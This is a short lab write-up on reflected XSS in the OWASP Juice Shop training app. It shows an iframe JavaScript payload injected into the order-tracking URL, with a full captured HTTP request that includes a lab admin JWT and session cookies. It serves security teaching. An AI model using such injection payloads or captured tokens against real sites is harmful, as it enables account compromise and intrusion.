Reflected (Client-side) XSS

Reflected XSS is javascript that is run on the client-side end of the web application. These are most commonly found when the server doesn't sanitise search data.

OWASP Juice Shop Example

First, we are going to need to be on the right page to perform the reflected XSS!

Login into the admin account and navigate to the 'Order History' page.

From there you will see a "Truck" icon, clicking on that will bring you to the track result page. You will also see that there is an id paired with the order.

We will use the iframe XSS, <iframe src="javascript:alert(`xss`)">, in the place of the 5267-f73dcd000abcc353

GET /rest/track-order/5267-a0c4318b0758f61a HTTP/1.1
-->
GET /rest/track-order/%3Ciframe%20src%3D%22javascript%3Aalert%28%60xss%60%29%22%3E HTTP/1.1
Host: 10.10.123.245
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiIwMTkyMDIzYTdiYmQ3MzI1MDUxNmYwNjlkZjE4YjUwMCIsInJvbGUiOiJhZG1pbiIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiI8aWZyYW1lIHNyYz1cImphdmFzY3JpcHQ6YWxlcnQoYHhzc2ApXCI-IiwicHJvZmlsZUltYWdlIjoiYXNzZXRzL3B1YmxpYy9pbWFnZXMvdXBsb2Fkcy9kZWZhdWx0LnN2ZyIsInRvdHBTZWNyZXQiOiIiLCJpc0FjdGl2ZSI6dHJ1ZSwiY3JlYXRlZEF0IjoiMjAyMC0xMS0xMCAyMzowMzowMy4xNjggKzAwOjAwIiwidXBkYXRlZEF0IjoiMjAyMC0xMS0xMSAwMDowMjowNi4xMTMgKzAwOjAwIiwiZGVsZXRlZEF0IjpudWxsfSwiaWF0IjoxNjA1MDUzMjE2LCJleHAiOjE2MDUwNzEyMTZ9.LNcydzLSz0v86L4mppA3OHjKDfsFelxcQf9VE8aXR4hyy0qEd3oSvma5Vd8nz4m-TdGpmwDVUNi8055kLnzIXjNQVfvSoW-kBNyqbd-GaDmLs_borFXSNAVeM9RgS9qUFKLphg2p8TS5tBjYcULrmxf4CKN5TSjbEaOmvGU1uZU
DNT: 1
Connection: close
Referer: http://10.10.123.245/
Cookie: io=FuqCIA_A6jUC76b0AAAU; language=en; cookieconsent_status=dismiss; continueCode=6jgQrYzM3ebXAPJtvUZHNT7F3HjuMIniQS55h4xS94sDyULRGNKBwlak1qWO; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiIwMTkyMDIzYTdiYmQ3MzI1MDUxNmYwNjlkZjE4YjUwMCIsInJvbGUiOiJhZG1pbiIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiI8aWZyYW1lIHNyYz1cImphdmFzY3JpcHQ6YWxlcnQoYHhzc2ApXCI-IiwicHJvZmlsZUltYWdlIjoiYXNzZXRzL3B1YmxpYy9pbWFnZXMvdXBsb2Fkcy9kZWZhdWx0LnN2ZyIsInRvdHBTZWNyZXQiOiIiLCJpc0FjdGl2ZSI6dHJ1ZSwiY3JlYXRlZEF0IjoiMjAyMC0xMS0xMCAyMzowMzowMy4xNjggKzAwOjAwIiwidXBkYXRlZEF0IjoiMjAyMC0xMS0xMSAwMDowMjowNi4xMTMgKzAwOjAwIiwiZGVsZXRlZEF0IjpudWxsfSwiaWF0IjoxNjA1MDUzMjE2LCJleHAiOjE2MDUwNzEyMTZ9.LNcydzLSz0v86L4mppA3OHjKDfsFelxcQf9VE8aXR4hyy0qEd3oSvma5Vd8nz4m-TdGpmwDVUNi8055kLnzIXjNQVfvSoW-kBNyqbd-GaDmLs_borFXSNAVeM9RgS9qUFKLphg2p8TS5tBjYcULrmxf4CKN5TSjbEaOmvGU1uZU
If-None-Match: W/"fc-WHskrDfb/e94M0+1Bu+oARMojBk"
Cache-Control: max-age=0

After submitting the URL, refresh the page and you will then get an alert saying XSS!

Why does this work?

The server will have a lookup table or database (depending on the type of server) for each tracking ID. As the 'id' parameter is not sanitised before it is sent to the server, we are able to perform an XSS attack.